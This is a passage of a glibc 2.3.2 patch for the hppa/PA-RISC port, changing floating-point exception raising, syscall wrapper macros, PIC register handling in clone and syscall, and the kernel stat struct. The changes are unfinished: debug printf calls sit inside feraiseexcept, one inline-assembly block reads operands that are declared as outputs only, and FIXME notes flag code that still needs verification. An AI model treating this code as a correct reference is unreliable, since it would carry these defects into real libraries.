   __asm__ ("fstd %%fr0,0(%1)" : "=m" (*sw) : "r" (sw));
-  sw[0] &= (FE_ALL_EXCEPT << 27);
-
+  sw[0] &= FE_ALL_EXCEPT;
+  envp->__status_word = envp->__status_word | sw[0];
+  
   /* Install new environment.  */
   fesetenv (envp);
 
-  /* Raise the saved exception. */
-  feraiseexcept (sw[0] >> 27);
-
   /* Success.  */
   return 0;
 }
diff -urN glibc-2.3.2.orig/sysdeps/hppa/fpu/fraiseexcpt.c glibc-2.3.2/sysdeps/hppa/fpu/fraiseexcpt.c
--- glibc-2.3.2.orig/sysdeps/hppa/fpu/fraiseexcpt.c	2002-09-09 20:37:31.000000000 -0400
+++ glibc-2.3.2/sysdeps/hppa/fpu/fraiseexcpt.c	2003-10-14 02:16:36.000000000 -0400
@@ -22,6 +22,9 @@
 #include <float.h>
 #include <math.h>
 
+/* Please see section 10, 
+   page 10-5 "Delayed Trapping" in the PA-RISC 2.0 Architecture manual */
+
 int
 feraiseexcept (int excepts)
 {
@@ -33,58 +36,72 @@
 
   /* We do these bits in assembly to be certain GCC doesn't optimize
      away something important, and so we can force delayed traps to
-     occur.  */
-
-  /* FIXME: These all need verification! */
+     occur. */
 
-  /* First: invalid exception.  */
+  /* We use "fldd 0(%%sr0,%%sp),%0" to flush the delayed exception */
+	
+  /* First: Invalid exception.  */
   if (excepts & FE_INVALID)
     {
       /* One example of a invalid operation is 0 * Infinity.  */
       double d = HUGE_VAL;
-      __asm__ __volatile__ ("fmpy,dbl %1,%%fr0,%0\n\t"
-			    /* FIXME: is this a proper trap barrier? */
-			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d));
+      __asm__ __volatile__ (
+		"	fcpy,dbl %%fr0,%%fr22\n"
+		"	fmpy,dbl %0,%%fr22,%0\n"
+		"	fldd 0(%%sr0,%%sp),%0"
+		: "+f" (d) : : "%fr22" );
+      printf("%s: FE_INVALID = %d, excepts = %d\n",__FUNCTION__,(int)(excepts & FE_INVALID),excepts);
     }
 
-  /* Next: division by zero.  */
+  /* Second: Division by zero.  */
   if (excepts & FE_DIVBYZERO)
     {
       double d = 1.0;
-      __asm__ __volatile__ ("fdiv,dbl %1,%%fr0,%0\n\t"
-			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d));
+      __asm__ __volatile__ (
+		"	fcpy,dbl %%fr0,%%fr22\n"
+		"	fdiv,dbl %0,%%fr22,%0\n"
+		"	fldd 0(%%sr0,%%sp),%0"
+		: "+f" (d) : : "%fr22" );
+      printf("%s: FE_DIVBYZERO = %d, excepts = %d\n",__FUNCTION__,(int)(excepts & FE_DIVBYZERO),excepts);
     }
 
-  /* Next: overflow.  */
+  /* Third: Overflow.  */
   /* FIXME: Compare with IA-64 - do we have the same problem? */
   if (excepts & FE_OVERFLOW)
     {
       double d = DBL_MAX;
-
-      __asm__ __volatile__ ("fmpy,dbl %1,%1,%0\n\t"
-			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d));
+      __asm__ __volatile__ (
+		"	fmpy,dbl %0,%0,%0\n"
+		"	fldd 0(%%sr0,%%sp),%0"
+		: "+f" (d) );
+      printf("%s: FE_OVERFLOW = %d, excepts = %d\n",__FUNCTION__,(int)(excepts & FE_OVERFLOW),excepts);
     }
 
-  /* Next: underflow.  */
+  /* Fourth: Underflow.  */
   if (excepts & FE_UNDERFLOW)
     {
       double d = DBL_MIN;
       double e = 69.69;
-
-      __asm__ __volatile__ ("fdiv,dbl %1,%2,%0\n\t"
-			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d), "f" (e));
+      __asm__ __volatile__ (
+		"	fdiv,dbl %0,%1,%0\n"
+		"	fldd 0(%%sr0,%%sp),%0"
+		: "+f" (d) : "f" (e) );
+      printf("%s: FE_UNDERFLOW = %d, excepts = %d\n",__FUNCTION__,(int)(excepts & FE_UNDERFLOW),excepts);
     }
 
-  /* Last: inexact.  */
+  /* Fifth: Inexact */
   if (excepts & FE_INEXACT)
     {
       double d = 1.0;
-      double e = M_PI;
-
-      __asm__ __volatile__ ("fdiv,dbl %1,%2,%0\n\t"
-			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d), "f" (e));
+      double h = 3.0;
+      __asm__ __volatile__ (
+		"	fdiv,dbl %0,%1,%%fr22\n"
+		"	fcnvfxt,dbl,sgl %%fr22,%%fr22L\n"
+		"	fldd 0(%%sr0,%%sp),%%fr22"
+		: "=f" (d), "=f" (h) : : "%fr22" );
+      printf("%s: FE_INEXACT = %d, excepts = %d\n",__FUNCTION__,(int)(excepts & FE_INEXACT),excepts);
     }
-
+	    
   /* Success.  */
   return 0;
 }
diff -urN glibc-2.3.2.orig/sysdeps/hppa/fpu/fsetexcptflg.c glibc-2.3.2/sysdeps/hppa/fpu/fsetexcptflg.c
--- glibc-2.3.2.orig/sysdeps/hppa/fpu/fsetexcptflg.c	2001-07-07 15:21:23.000000000 -0400
+++ glibc-2.3.2/sysdeps/hppa/fpu/fsetexcptflg.c	2003-10-14 02:16:36.000000000 -0400
@@ -29,8 +29,7 @@
   /* Get the current status word. */
   __asm__ ("fstd %%fr0,0(%1)" : "=m" (*sw) : "r" (sw));
 
-  /* Install the new exception flags bits.  */
-  sw[0] &= ~(excepts & (FE_ALL_EXCEPT >> 27));
+  /* Clear exception flags, and install new neable trap bits  */
   sw[0] |= (*flagp & excepts & FE_ALL_EXCEPT) << 27;
 
   /* Store the new status word.  */
diff -urN glibc-2.3.2.orig/sysdeps/hppa/libgcc-compat.c glibc-2.3.2/sysdeps/hppa/libgcc-compat.c
--- glibc-2.3.2.orig/sysdeps/hppa/libgcc-compat.c	1969-12-31 19:00:00.000000000 -0500
+++ glibc-2.3.2/sysdeps/hppa/libgcc-compat.c	2003-10-14 02:16:35.000000000 -0400
@@ -0,0 +1,43 @@
+/* pre-.hidden libgcc compatibility
+   Copyright (C) 2002 Free Software Foundation, Inc.
+   This file is part of the GNU C Library.
+   Contributed by Randolph Chung
+
+   The GNU C Library is free software; you can redistribute it and/or
+   modify it under the terms of the GNU Lesser General Public
+   License as published by the Free Software Foundation; either
+   version 2.1 of the License, or (at your option) any later version.
+
+   The GNU C Library is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+   Lesser General Public License for more details.
+
+   You should have received a copy of the GNU Lesser General Public
+   License along with the GNU C Library; if not, write to the Free
+   Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
+   02111-1307 USA.  */
+
+
+#include <stdint.h>
+#include <shlib-compat.h>
+
+#if SHLIB_COMPAT(libc, GLIBC_2_0, GLIBC_2_2_6)
+
+symbol_version (__clz_tab_internal, __clz_tab, GLIBC_2.2);
+
+typedef unsigned int UQItype  __attribute__ ((mode (QI)));
+
+const UQItype __clz_tab_internal[] =
+{
+  0,1,2,2,3,3,3,3,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,
+  6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,
+  7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,
+  7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,
+  8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+  8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+  8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+  8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+};
+
+#endif
diff -urN glibc-2.3.2.orig/sysdeps/hppa/sysdep.h glibc-2.3.2/sysdeps/hppa/sysdep.h
--- glibc-2.3.2.orig/sysdeps/hppa/sysdep.h	2001-07-07 15:21:23.000000000 -0400
+++ glibc-2.3.2/sysdeps/hppa/sysdep.h	2003-10-14 02:16:35.000000000 -0400
@@ -70,6 +70,7 @@
 #define	PSEUDO_END(name)						      \
   END (name)
 
+#undef JUMPTARGET
 #define JUMPTARGET(name)	name
 #define SYSCALL_PIC_SETUP	/* Nothing.  */
 
diff -urN glibc-2.3.2.orig/sysdeps/posix/getaddrinfo.c glibc-2.3.2/sysdeps/posix/getaddrinfo.c
--- glibc-2.3.2.orig/sysdeps/posix/getaddrinfo.c	2003-10-14 02:14:25.000000000 -0400
+++ glibc-2.3.2/sysdeps/posix/getaddrinfo.c	2003-10-14 02:16:35.000000000 -0400
@@ -53,6 +53,7 @@
 #include <sys/utsname.h>
 #include <net/if.h>
 #include <nsswitch.h>
+#include <stdbool.h>
 
 #define GAIH_OKIFUNSPEC 0x0100
 #define GAIH_EAI        ~(GAIH_OKIFUNSPEC)
diff -urN glibc-2.3.2.orig/sysdeps/unix/Makefile glibc-2.3.2/sysdeps/unix/Makefile
--- glibc-2.3.2.orig/sysdeps/unix/Makefile	2003-10-14 02:14:25.000000000 -0400
+++ glibc-2.3.2/sysdeps/unix/Makefile	2003-10-14 02:16:36.000000000 -0400
@@ -295,6 +295,7 @@
 			  $(..)sysdeps/unix/Makefile
 	$(make-target-directory)
 	(echo '#include <errno.h>'; \
+	 echo 'extern long int _no_syscall(void);'; \
 	 echo 'long int _no_syscall (void)'; \
 	 echo '{ __set_errno (ENOSYS); return -1L; }'; \
 	 for call in $(unix-stub-syscalls); do \
diff -urN glibc-2.3.2.orig/sysdeps/unix/sysv/linux/hppa/clone.S glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/clone.S
--- glibc-2.3.2.orig/sysdeps/unix/sysv/linux/hppa/clone.S	2001-07-07 15:21:34.000000000 -0400
+++ glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/clone.S	2003-10-14 02:16:36.000000000 -0400
@@ -28,6 +28,8 @@
 
 /* int clone(int (*fn)(void *arg), void *child_stack, int flags, void *arg) */
 
+#warning CAO: __clone needs verification
+
         .text
 ENTRY(__clone)
 	/* FIXME: I have no idea how profiling works on hppa. */
@@ -42,6 +44,11 @@
 	stwm    %arg0,64(%arg1)
 	stw	%arg3,-60(%arg1)
 
+	/* Save the PIC register. */
+#ifdef PIC
+	stw	%r19,-32(%sr0, %sp)	/* parent */
+#endif
+
 	/* Do the system call */
 	copy	%arg2,%arg0
 	ble     0x100(%sr2,%r0)
@@ -53,19 +60,31 @@
 
 	comib,=,n 0,%ret0,thread_start
 
-	/* Successful return from the parent */
+	/* Successful return from the parent
+	   No need to restore the PIC register, 
+	   since we return immediately. */
+
 	bv	%r0(%rp)
 	nop
 
 	/* Something bad happened -- no child created */
 .Lerror:
+
+	/* Restore the PIC register on error */
+#ifdef PIC
+	ldw	-32(%sr0, %sp), %r19	/* parent */
+#endif
+
 	b	__syscall_error
 	sub     %r0,%ret0,%arg0
 
 thread_start:
+
 	/* Load up the arguments.  */
-	ldw	-60(%sp),%arg0
-	ldw     -64(%sp),%r22
+	ldw	-60(%sr0, %sp),%arg0
+	ldw     -64(%sr0, %sp),%r22
+
+	/* FIXME: Don't touch the childs PIC register? */
 
 	/* Call the user's function */
 	bl	$$dyncall,%r31
diff -urN glibc-2.3.2.orig/sysdeps/unix/sysv/linux/hppa/kernel_stat.h glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/kernel_stat.h
--- glibc-2.3.2.orig/sysdeps/unix/sysv/linux/hppa/kernel_stat.h	2002-12-31 15:08:57.000000000 -0500
+++ glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/kernel_stat.h	2003-10-14 02:16:36.000000000 -0400
@@ -1,30 +1,30 @@
-/* definition of "struct stat" from the kernel */
+/* Definition of 'struct stat' taken from kernel, please keep up to date */
 struct kernel_stat {
-	unsigned long	st_dev;		/* dev_t is 32 bits on parisc */
-	unsigned long	st_ino;		/* 32 bits */
+	unsigned int	st_dev;		/* dev_t is 32 bits on parisc */
+	unsigned int	st_ino;		/* 32 bits */
 	unsigned short	st_mode;	/* 16 bits */
 	unsigned short	st_nlink;	/* 16 bits */
 	unsigned short	st_reserved1;	/* old st_uid */
 	unsigned short	st_reserved2;	/* old st_gid */
-	unsigned long	st_rdev;
-	unsigned long   st_size;
+	unsigned int	st_rdev;
+	unsigned int	st_size;
 	struct timespec st_atim;
-	struct timespec st_mtim;
-	struct timespec st_ctim;
-	long		st_blksize;
-	long		st_blocks;
-	unsigned long	__unused1;	/* ACL stuff */
-	unsigned long	__unused2;	/* network */
-	unsigned long	__unused3;	/* network */
-	unsigned long	__unused4;	/* cnodes */
+	struct timespec	st_mtim;
+	struct timespec	st_ctim;
+	int		st_blksize;
+	int		st_blocks;
+	unsigned int	__unused1;	/* ACL stuff */
+	unsigned int	__unused2;	/* network */
+	unsigned int	__unused3;	/* network */
+	unsigned int	__unused4;	/* cnodes */
 	unsigned short	__unused5;	/* netsite */
 	short		st_fstype;
-	unsigned long	st_realdev;
+	unsigned int	st_realdev;
 	unsigned short	st_basemode;
 	unsigned short	st_spareshort;
-	unsigned long	st_uid;
-	unsigned long   st_gid;
-	unsigned long	st_spare4[3];
+	unsigned int	st_uid;
+	unsigned int	st_gid;
+	unsigned int	st_spare4[3];
 };
 
 #define _HAVE_STAT_NSEC
diff -urN glibc-2.3.2.orig/sysdeps/unix/sysv/linux/hppa/mmap.c glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/mmap.c
--- glibc-2.3.2.orig/sysdeps/unix/sysv/linux/hppa/mmap.c	2001-07-07 15:21:34.000000000 -0400
+++ glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/mmap.c	2003-10-14 02:16:36.000000000 -0400
@@ -37,7 +37,7 @@
 	
 	__ptr_t ret;
 
-	ret = INLINE_SYSCALL(mmap, 6, addr, len, prot, flags, fd, offset);
+	ret = (__ptr_t)INLINE_SYSCALL(mmap, 6, addr, len, prot, flags, fd, offset);
 
 	/* check if it's really a negative number */
 	if(((unsigned long)ret & 0xfffff000) == 0xfffff000)
diff -urN glibc-2.3.2.orig/sysdeps/unix/sysv/linux/hppa/syscalls.list glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/syscalls.list
--- glibc-2.3.2.orig/sysdeps/unix/sysv/linux/hppa/syscalls.list	2003-01-30 22:39:32.000000000 -0500
+++ glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/syscalls.list	2003-10-14 02:16:36.000000000 -0400
@@ -10,6 +10,7 @@
 shmdt		-	shmdt		i:s	__shmdt		shmdt
 shmget		-	shmget		i:iii	__shmget	shmget
 semop		-	semop		i:ipi	__semop		semop
+semtimedop      -       semtimedop      i:ipip  semtimedop
 semget		-	semget		i:iii	__semget	semget
 semctl		-	semctl		i:iiii	__semctl	semctl
 
diff -urN glibc-2.3.2.orig/sysdeps/unix/sysv/linux/hppa/sysdep.c glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/sysdep.c
--- glibc-2.3.2.orig/sysdeps/unix/sysv/linux/hppa/sysdep.c	2002-10-11 14:58:53.000000000 -0400
+++ glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/sysdep.c	2003-10-14 02:16:36.000000000 -0400
@@ -19,6 +19,10 @@
 #include <sysdep.h>
 #include <errno.h>
 
+extern int __syscall_error(int err_no);
+extern int syscall (int sysnum, int arg0, int arg1, int arg2, 
+			int arg3, int arg4, int arg5);
+
 /* This routine is jumped to by all the syscall handlers, to stash
    an error number into errno.  */
 int
@@ -30,25 +34,31 @@
 
 
 /* HPPA implements syscall() in 'C'; the assembler version would
-   typically be in syscall.S.  */
-
+   typically be in syscall.S. Also note that we have INLINE_SYSCALL,
+   INTERNAL_SYSCALL, and all the generated pure assembly syscall wrappers.
+   How often the function is used is unknown. */
 int
 syscall (int sysnum, int arg0, int arg1, int arg2, int arg3, int arg4, int arg5)
 {
-  long __sys_res;
-  {
-    register unsigned long __res asm("r28");
-    LOAD_ARGS_6(arg0, arg1, arg2, arg3, arg4, arg5)
-      asm volatile ("ble  0x100(%%sr2, %%r0)\n\t"
-		    "copy %1, %%r20"
-		    : "=r" (__res)
-		    : "r" (sysnum) ASM_ARGS_6);
-    __sys_res = __res;
-  }
-  if ((unsigned long) __sys_res >= (unsigned long)-4095)
-    {
-    __set_errno(-__sys_res);
-    __sys_res = -1;
-  }
-  return __sys_res;
+	/* FIXME: Keep this matching INLINE_SYSCALL for hppa */
+	long __sys_res;
+	{
+		register unsigned long __res asm("r28");
+		LOAD_ARGS_6(arg0, arg1, arg2, arg3, arg4, arg5)
+		asm volatile (
+			STW_ASM_PIC
+			"	ble  0x100(%%sr2, %%r0)	\n"
+			"	copy %1, %%r20		\n"
+			LDW_ASM_PIC
+			: "=r" (__res)
+			: "r" (sysnum) ASM_ARGS_6
+			: CALL_CLOB_REGS CLOB_ARGS_6
+		);
+		__sys_res = __res;
+	}
+	if ((unsigned long) __sys_res >= (unsigned long)-4095){
+		__set_errno(-__sys_res);
+		__sys_res = -1;
+	}
+	return __sys_res;
 }
diff -urN glibc-2.3.2.orig/sysdeps/unix/sysv/linux/hppa/sysdep.h glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/sysdep.h
--- glibc-2.3.2.orig/sysdeps/unix/sysv/linux/hppa/sysdep.h	2003-10-14 02:14:25.000000000 -0400
+++ glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/sysdep.h	2003-10-14 02:16:35.000000000 -0400
@@ -31,6 +31,26 @@
 #undef SYS_ify
 #define SYS_ify(syscall_name)	(__NR_##syscall_name)
 
+/* Included for older kernels whose headers 
+   are missing the define  */ 
+#ifndef __NR_semtimedop
+# define __NR_semtimedop 228
+#endif
+
+# ifdef PIC
+/* WARNING: CANNOT BE USED IN A NOP! */
+#  define STW_PIC stw %r19, -32(%sr0, %sp) ASM_LINE_SEP
+#  define LDW_PIC ldw -32(%sr0, %sp), %r19 ASM_LINE_SEP
+#  define STW_ASM_PIC	"       copy %%r19, %%r4\n"
+#  define LDW_ASM_PIC	"       copy %%r4, %%r19\n"
+#  define USING_GR4	"%r4",
+# else
+#  define STW_PIC ASM_LINE_SEP
+#  define LDW_PIC ASM_LINE_SEP
+#  define STW_ASM_PIC	" \n"
+#  define LDW_ASM_PIC	" \n"
+#  define USING_GR4
+# endif
 
 #ifdef __ASSEMBLER__
 
@@ -77,20 +97,13 @@
 	.text					ASM_LINE_SEP	\
 	.export C_SYMBOL_NAME(name)		ASM_LINE_SEP	\
 	.type	C_SYMBOL_NAME(name),@function	ASM_LINE_SEP	\
-	C_LABEL(name)						\
-	CALL_MCOUNT
-
-#define ret \
-	bv 0(2)					ASM_LINE_SEP	\
-	nop
-
-#define ret_NOERRNO \
-	bv 0(2)					ASM_LINE_SEP	\
-	nop
+	C_LABEL(name)				ASM_LINE_SEP	\
+	CALL_MCOUNT				ASM_LINE_SEP
 
 #undef	END
-#define END(name)						\
-1:	.size	C_SYMBOL_NAME(name),1b-C_SYMBOL_NAME(name)
+#define END(name)							\
+1:							ASM_LINE_SEP	\
+.size	C_SYMBOL_NAME(name),1b-C_SYMBOL_NAME(name)	ASM_LINE_SEP	\
 
 /* If compiled for profiling, call `mcount' at the start of each function.  */
 /* No, don't bother.  gcc will put the call in for us.  */
@@ -110,27 +123,83 @@
 	nop
 */
 
-#define	PSEUDO(name, syscall_name, args)				      \
-  ENTRY (name)								      \
-  DO_CALL(syscall_name, args)					ASM_LINE_SEP  \
-  nop
+#define	PSEUDO(name, syscall_name, args)			\
+  ENTRY (name)							\
+  DO_CALL(syscall_name, args)			ASM_LINE_SEP	\
+  nop						ASM_LINE_SEP
+
+#define ret \
+	/* Return value set by ERRNO code */	ASM_LINE_SEP	\
+	bv 0(2)					ASM_LINE_SEP	\
+	nop					ASM_LINE_SEP
 
 #undef	PSEUDO_END
-#define	PSEUDO_END(name)						      \
+#define	PSEUDO_END(name)					\
   END (name)
 
-#define	PSEUDO_NOERRNO(name, syscall_name, args)			      \
-  ENTRY (name)								      \
-  DO_CALL(syscall_name, args)					ASM_LINE_SEP  \
-  nop
+/* We don't set the errno on the return from the syscall */
+#define	PSEUDO_NOERRNO(name, syscall_name, args)		\
+  ENTRY (name)							\
+  DO_CALL_NOERRNO(syscall_name, args)		ASM_LINE_SEP	\
+  nop						ASM_LINE_SEP
 
+#define ret_NOERRNO ret 
+  
 #undef	PSEUDO_END_NOERRNO
-#define	PSEUDO_END_NOERRNO(name)					      \
+#define	PSEUDO_END_NOERRNO(name)				\
   END (name)
 
+/* This has to return the error value */
+#undef  PSEUDO_ERRVAL
+#define PSEUDO_ERRVAL(name, syscall_name, args)			\
+	ENTRY(name)						\
+	DO_CALL_ERRVAL(syscall_name, args)	ASM_LINE_SEP	\
+	nop					ASM_LINE_SEP
+
+#define ret_ERRVAL ret
+	
+#undef	PSEUDO_END_ERRVAL
+#define PSEUDO_END_ERRVAL(name)					\
+	END(name)
+
+#undef JUMPTARGET
 #define JUMPTARGET(name)	name
 #define SYSCALL_PIC_SETUP	/* Nothing.  */
 
+	
+/* All the syscall assembly macros rely on finding the approriate 
+   SYSCALL_ERROR_LABEL or rather HANDLER. */
+
+/* int * __errno_location(void) so you have to store your value
+   into the return address! */
+#define DEFAULT_SYSCALL_ERROR_HANDLER 			\
+	.import __errno_location,code	ASM_LINE_SEP	\
+	/* branch to errno handler */	ASM_LINE_SEP	\
+	bl __errno_location,%rp		ASM_LINE_SEP
+	
+/* Here are the myriad of configuration options that the above can
+   work for... what we've done is provide the framework for future
+   changes if required to each section */
+	
+#ifdef PIC
+# if RTLD_PRIVATE_ERRNO
+#  define SYSCALL_ERROR_HANDLER DEFAULT_SYSCALL_ERROR_HANDLER			    
+# else /* !RTLD_PRIVATE_ERRNO */
+#  if defined _LIBC_REENTRANT
+#   define SYSCALL_ERROR_HANDLER DEFAULT_SYSCALL_ERROR_HANDLER
+#  else /* !_LIBC_REENTRANT */
+#   define SYSCALL_ERROR_HANDLER DEFAULT_SYSCALL_ERROR_HANDLER
+#  endif /* _LIBC_REENTRANT */
+# endif /* RTLD_PRIVATE_ERRNO */
+#else
+# ifndef _LIBC_REENTRANT
+#  define SYSCALL_ERROR_HANDLER DEFAULT_SYSCALL_ERROR_HANDLER
+# else
+#  define SYSCALL_ERROR_HANDLER DEFAULT_SYSCALL_ERROR_HANDLER
+# endif
+#endif					
+	
+	
 /* Linux takes system call arguments in registers:
 	syscall number	gr20
 	arg 1		gr26
@@ -159,25 +228,61 @@
 
 #undef	DO_CALL
 #define DO_CALL(syscall_name, args)				\
-	DOARGS_##args						\
+	DOARGS_##args				ASM_LINE_SEP	\
+	STW_PIC					ASM_LINE_SEP	\
+	/* Do syscall, delay loads # */		ASM_LINE_SEP	\
 	ble  0x100(%sr2,%r0)			ASM_LINE_SEP	\
 	ldi SYS_ify (syscall_name), %r20	ASM_LINE_SEP	\
 	ldi -0x1000,%r1				ASM_LINE_SEP	\
 	cmpb,>>=,n %r1,%ret0,0f			ASM_LINE_SEP	\
-	stw %rp, -20(%sr0,%r30)			ASM_LINE_SEP	\
-	stw %ret0, -24(%sr0,%r30)		ASM_LINE_SEP	\
-	.import __errno_location,code		ASM_LINE_SEP	\
-	bl __errno_location,%rp			ASM_LINE_SEP	\
-	ldo 64(%r30), %r30			ASM_LINE_SEP	\
-	ldo -64(%r30), %r30			ASM_LINE_SEP	\
-	ldw -24(%r30), %r26			ASM_LINE_SEP	\
+	/* save rp or we get lost */		ASM_LINE_SEP	\
+	stw %rp, -20(%sr0,%sp)			ASM_LINE_SEP	\
+	/* Restore r19 from frame */		ASM_LINE_SEP	\
+	LDW_PIC					ASM_LINE_SEP	\
+	stw %ret0, -24(%sr0,%sp)		ASM_LINE_SEP	\
+	SYSCALL_ERROR_HANDLER			ASM_LINE_SEP	\
+	/* create frame */			ASM_LINE_SEP	\
+	ldo 64(%sp), %sp			ASM_LINE_SEP	\
+	ldo -64(%sp), %sp			ASM_LINE_SEP	\
+	/* OPTIMIZE: Don't reload r19 */	ASM_LINE_SEP	\
+	/* do a -1*syscall_ret0 */		ASM_LINE_SEP	\
+	ldw -24(%sr0,%sp), %r26			ASM_LINE_SEP	\
 	sub %r0, %r26, %r26			ASM_LINE_SEP	\
+	/* Store into errno location */		ASM_LINE_SEP	\
 	stw %r26, 0(%sr0,%ret0)			ASM_LINE_SEP	\
+	/* return -1 as error */		ASM_LINE_SEP	\
 	ldo -1(%r0), %ret0			ASM_LINE_SEP	\
-	ldw -20(%r30), %rp			ASM_LINE_SEP	\
+	ldw -20(%sr0,%sp), %rp			ASM_LINE_SEP	\
 0:						ASM_LINE_SEP	\
+	UNDOARGS_##args				ASM_LINE_SEP
+
+/* We do nothing with the return, except hand it back to someone else */
+#undef  DO_CALL_NOERRNO
+#define DO_CALL_NOERRNO(syscall_name, args)			\
+	DOARGS_##args                                           \
+	/* No need to store r19 */		ASM_LINE_SEP	\
+	ble  0x100(%sr2,%r0)                    ASM_LINE_SEP    \
+	ldi SYS_ify (syscall_name), %r20        ASM_LINE_SEP    \
+	/* Caller will restore r19 */		ASM_LINE_SEP	\
 	UNDOARGS_##args
 
+/* Here, we return the ERRVAL in assembly, note we don't call the
+   error handler function, but we do 'negate' the return _IF_
+   it's an error. Not sure if this is the right semantic. */
+
+#undef	DO_CALL_ERRVAL
+#define DO_CALL_ERRVAL(syscall_name, args)			\
+	DOARGS_##args				ASM_LINE_SEP	\
+	/* No need to store r19 */		ASM_LINE_SEP	\
+	ble  0x100(%sr2,%r0)			ASM_LINE_SEP	\
+	ldi SYS_ify (syscall_name), %r20	ASM_LINE_SEP	\
+	/* Caller will restore r19 */		ASM_LINE_SEP	\
+	ldi -0x1000,%r1				ASM_LINE_SEP	\
+	cmpb,>>=,n %r1,%ret0,0f			ASM_LINE_SEP	\
+	sub %r0, %ret0, %ret0			ASM_LINE_SEP	\
+0:						ASM_LINE_SEP	\
+	UNDOARGS_##args				ASM_LINE_SEP
+
 #define DOARGS_0 /* nothing */
 #define DOARGS_1 /* nothing */
 #define DOARGS_2 /* nothing */
@@ -198,26 +303,87 @@
 
 #else
 
+/* GCC has to be warned that a syscall may clobber all the ABI 
+   registers listed as "caller-saves", see page 8, Table 2 
+   in section 2.2.6 of the PA-RISC RUN-TIME architecture 
+   document. However! r28 is the result and will conflict with
+   the clobber list so it is left out. Also the input arguments
+   registers r20 -> r26 will conflict with the list so they 
+   are treated specially. Although r19 is clobbered by the syscall
+   we cannot say this because it would violate ABI, thus we say
+   r4 is clobbered and use that register to save/restore r19
+   across the syscall. */
+		 
+#define CALL_CLOB_REGS	"%r1", "%r2", USING_GR4 \
+		 	"%r20", "%r29", "%r31"
+		 
 #undef INLINE_SYSCALL
-#define INLINE_SYSCALL(name, nr, args...)	({		\
+#define INLINE_SYSCALL(name, nr, args...)	({			\
+	long __sys_res;							\
+	{								\
+		register unsigned long __res asm("r28");		\
+		LOAD_ARGS_##nr(args)					\
+		/* FIXME: HACK stw/ldw r19 around syscall */		\
+		asm volatile(						\
+			STW_ASM_PIC					\
+			"	ble  0x100(%%sr2, %%r0)\n"		\
+			"	ldi %1, %%r20\n"			\
+			LDW_ASM_PIC					\
+			: "=r" (__res)					\
+			: "i" (SYS_ify(name)) ASM_ARGS_##nr		\
+			: CALL_CLOB_REGS CLOB_ARGS_##nr			\
+		);							\
+		__sys_res = (long)__res;				\
+	}								\
+	if ( (unsigned long)__sys_res >= (unsigned long)-4095 ){	\
+		__set_errno(-__sys_res);				\
+		__sys_res = -1;						\
+	}								\
+	__sys_res;							\
+})
+
+/* INTERNAL_SYSCALL_DECL - Allows us to setup some function static 
+   value to use within the context of the syscall 
+   INTERNAL_SYSCALL_ERROR_P - Returns 0 if it wasn't an error, 1 otherwise
+   You are allowed to use the syscall result (val) and the DECL error variable
+   to determine what went wrong.
+   INTERLAL_SYSCALL_ERRNO - Munges the val/err pair into the error number.
+   In our case we just flip the sign. */
+
+#undef INTERNAL_SYSCALL_DECL
+#define INTERNAL_SYSCALL_DECL(err) do { } while (0)
+
+/* Equivalent to  (val < 0)&&(val > -4095) which is what we want */
+#undef INTERNAL_SYSCALL_ERROR_P
+#define INTERNAL_SYSCALL_ERROR_P(val, err) \
+	((unsigned long)val >= (unsigned long)-4095)
+	
+#undef INTERNAL_SYSCALL_ERRNO
+#define INTERNAL_SYSCALL_ERRNO(val, err) (-(val))
+
+/* Similar to INLINE_SYSCALL but we don't set errno */
+#undef INTERNAL_SYSCALL
+#define INTERNAL_SYSCALL(name, err, nr, args...) 		\
+({								\
 	long __sys_res;						\
 	{							\
 		register unsigned long __res asm("r28");	\
 		LOAD_ARGS_##nr(args)				\
+		/* FIXME: HACK stw/ldw r19 around syscall */	\
 		asm volatile(					\
-			"ble  0x100(%%sr2, %%r0)\n\t"		\
-			" ldi %1, %%r20"			\
+			STW_ASM_PIC				\
+			"	ble  0x100(%%sr2, %%r0)\n"	\
+			"	ldi %1, %%r20\n"		\
+			LDW_ASM_PIC				\
 			: "=r" (__res)				\
 			: "i" (SYS_ify(name)) ASM_ARGS_##nr	\
-			 );					\
-		__sys_res = __res;				\
-	}							\
-	if ((unsigned long)__sys_res >= (unsigned long)-4095) {	\
-		__set_errno(-__sys_res);			\
-		__sys_res = -1;					\
+			: CALL_CLOB_REGS CLOB_ARGS_##nr		\
+		);						\
+		__sys_res = (long)__res;			\
 	}							\
 	__sys_res;						\
-})
+ })
+
 
 #define LOAD_ARGS_0()
 #define LOAD_ARGS_1(r26)					\
